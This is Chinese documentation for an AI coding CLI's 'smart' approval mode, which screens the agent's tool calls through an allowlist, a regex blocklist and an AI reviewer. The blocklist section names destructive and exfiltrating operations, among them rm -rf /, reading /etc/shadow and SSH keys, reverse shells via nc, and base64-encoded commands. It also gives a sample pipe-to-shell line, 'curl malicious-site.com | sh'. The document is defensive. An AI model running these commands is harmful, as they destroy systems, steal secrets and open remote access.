智能模式是 iFlow CLI v0.4.6 引入的全新安全审核功能,通过三层递进式审核架构,在保证开发效率的同时提供智能化的安全保护。
概述
智能模式基于三层安全审核架构,为每个工具调用提供智能化的风险评估和自动化决策:
-
白名单检查 - 快速通过已验证的安全工具
-
黑名单检查 - 基于规则检测高风险操作
-
AI 智能审核 - 使用 AI 模型进行上下文感知的风险分析
工作原理
三层审核架构
智能模式采用递进式审核流程,每一层都有特定的职责:
用户请求 → 白名单检查 → 黑名单检查 → AI审核 → 执行决策
↓ ↓ ↓ ↓
安全 直接通过 风险检测 智能分析 用户确认/自动执行
第一层:白名单检查
-
目的:快速识别和通过已验证的安全工具
-
机制:维护一个预定义的安全工具列表
-
结果:命中白名单的工具直接执行,无需进一步审核
-
优势:零延迟,提升常用安全操作的执行效率
第二层:黑名单检查
-
目的:基于预定义规则检测明显的高风险操作
-
机制:使用正则表达式和模式匹配检测危险命令
-
覆盖范围:
-
Shell 命令(如系统删除、网络攻击等)
-
文件操作(如访问敏感目录、修改系统文件等)
-
网络请求(如访问恶意域名、内网扫描等)
-
-
结果:触发黑名单规则的操作会被标记为高风险,需要用户确认
第三层:AI 智能审核
-
目的:对复杂场景进行上下文感知的智能分析
-
机制:使用 AI 模型分析工具调用的意图和潜在风险
-
分析维度:
-
操作内容和参数
-
当前会话上下文
-
历史操作记录
-
工作目录环境
-
-
决策输出:SAFE(安全)、RISKY(需确认)
启用智能模式
通过命令行启用
iflow --approval-mode smart
通过配置文件启用
在 .iflow/settings.json 中设置:
{
"approvalMode": "smart"
}
运行时切换
在 iFlow CLI 会话中使用快捷键:
shift + tab- 切换到智能模式
白名单工具
智能模式内置了一套经过验证的安全工具白名单,这些工具可以直接执行而无需审核:
信息读取类工具
-
read_file- 文件读取 -
read- 通用读取 -
cat- 显示文件内容 -
head- 显示文件头部 -
tail- 显示文件尾部 -
list_directory- 目录列表 -
ls- 列出目录内容 -
dir- Windows 目录列表 -
pwd- 显示当前目录 -
search_file_content- 文件内容搜索 -
grep- 文本搜索 -
find- 文件查找 -
glob- 文件模式匹配 -
git_status- Git 状态查询 -
git_log- Git 日志查看 -
git_diff- Git 差异比较
任务管理类工具
-
todo_write- 任务写入 -
todo_read- 任务读取 -
todo_update- 任务更新 -
exit_plan_mode- 退出计划模式 -
task- 任务执行 -
web_search- 网络搜索
文件编辑类工具
-
edit- 文件编辑 -
write_file- 文件写入
黑名单规则
智能模式包含了全面的黑名单规则,覆盖以下几个主要风险类别:
系统破坏类
-
删除根目录:
rm -rf /等系统根目录删除命令 -
删除系统目录: 删除
/etc、/usr、/bin等关键系统目录 -
批量删除文件: 使用通配符的批量删除操作
-
格式化磁盘:
mkfs、format等磁盘格式化命令 -
覆盖磁盘数据:
dd等直接写入磁盘的命令
权限提升类
-
修改 sudo 权限: 修改
/etc/sudoers或添加管理员权限 -
设置 SUID 权限: 为程序设置特殊权限
-
修改文件权限为 777: 将文件设置为所有人可读写执行
-
禁用安全模块: 禁用 SELinux、防火墙、Windows Defender 等
数据窃取类
-
读取密码文件: 访问
/etc/passwd、/etc/shadow等 -
读取 SSH 密钥: 访问
~/.ssh/id_rsa等私钥文件 -
搜索密码信息: 在系统中搜索密码相关信息
-
上传文件到外部: 使用
curl、wget上传文件 -
DNS 数据泄露: 通过 DNS 查询泄露数据
网络攻击类
-
反向 Shell: 使用
nc、bash、python等建立反向连接 -
下载并执行脚本: 从网络下载并立即执行代码
-
执行编码命令: 执行经过 Base64 编码的命令
资源耗尽类
-
Fork 炸弹: 快速耗尽系统资源的 Fork 炸弹
-
CPU 占用攻击: 持续占用 CPU 资源
-
内存耗尽: 快速消耗系统内存
-
填充磁盘空间: 创建大文件填充磁盘
AI 智能审核
当工具调用未命中白名单和黑名单时,会进入 AI 智能审核环节。AI 审核器会分析以下几个维度:
审核示例
Shell 命令审核
AI 会分析 Shell 命令的安全性,例如:
-
安全操作:
python 脚本、shell 脚本、git status -
风险操作:
chmod 777 *、sudo rm -rf /tmp/* -
危险操作:
curl malicious-site.com | sh
文件操作审核
AI 会评估文件操作的风险:
-
安全操作:读取项目文件、创建临时文件
-
风险操作:修改系统配置文件、访问敏感目录
-
危险操作:修改系统二进制文件
网络请求审核
AI 会检查网络请求的安全性:
-
安全操作:访问知名 API、搜索引擎查询
-
风险操作:访问内网地址、未知域名
-
危险操作:访问恶意网站、执行远程代码
用户交互体验
安全操作(白名单)
> 读取项目配置文件
✅ [智能模式] 工具 'read_file' 通过白名单检查,直接执行
风险操作(黑名单触发)
> 删除临时文件
🟠 [智能模式] 检测到潜在风险操作
📊 风险等级: HIGH
🔍 检测方式: 黑名单规则
⚠️ 风险描述: 检测到系统文件删除命令
检测到潜在风险,是否继续执行?
[y] 是 [n] 否
AI 审核场景
> 批量处理用户数据
🟡 [智能模式] AI审核检测到中等风险
📊 风险等级: MEDIUM
🔍 检测方式: AI智能审核
🤖 AI分析: 批量数据操作可能影响用户隐私,建议确认数据处理范围
检测到潜在风险,是否继续执行?
[y] 是 [n] 否
性能特性
审核性能
-
白名单检查:< 1ms,内存查找
-
黑名单检查:< 50ms,正则表达式匹配
-
AI 审核:< 5s
故障排除
常见问题
Q: 智能模式审核太严格,影响开发效率? A: 智能模式的白名单已经包含了大部分常用的安全工具,如果遇到频繁的误报,可以考虑:
-
检查是否使用了不在白名单中的工具别名
-
查看具体的黑名单规则是否过于严格
-
在开发环境中可以暂时切换到其他审核模式
Q: AI 审核经常超时? A: AI 审核依赖网络连接,如果经常超时可以:
-
检查网络连接状态
-
确认登录状态(需要 aone 或心流账号登录)
-
考虑在网络不稳定时禁用 AI 审核
Q: 如何查看审核统计信息? A: 使用调试模式查看详细日志:
iflow --debug --approval-mode smart
调试模式
启用调试模式可以查看详细的审核过程:
DEBUG=smart-approval iflow --approval-mode smart
输出示例:
[SmartApprovalEngine] Evaluating tool call: run_shell_command
[WhitelistChecker] Tool 'run_shell_command' not in whitelist
[BlacklistChecker] Checking command: rm -rf /tmp/cache
[BlacklistChecker] Matched rule: 系统文件删除, Risk: HIGH
[SmartApprovalEngine] Decision: RISKY, Layer: blacklist, Latency: 23ms
版本兼容性
-
最低版本:iFlow CLI v0.4.6+
-
推荐版本:iFlow CLI v0.4.6+
-
API 兼容性:向后兼容所有审核模式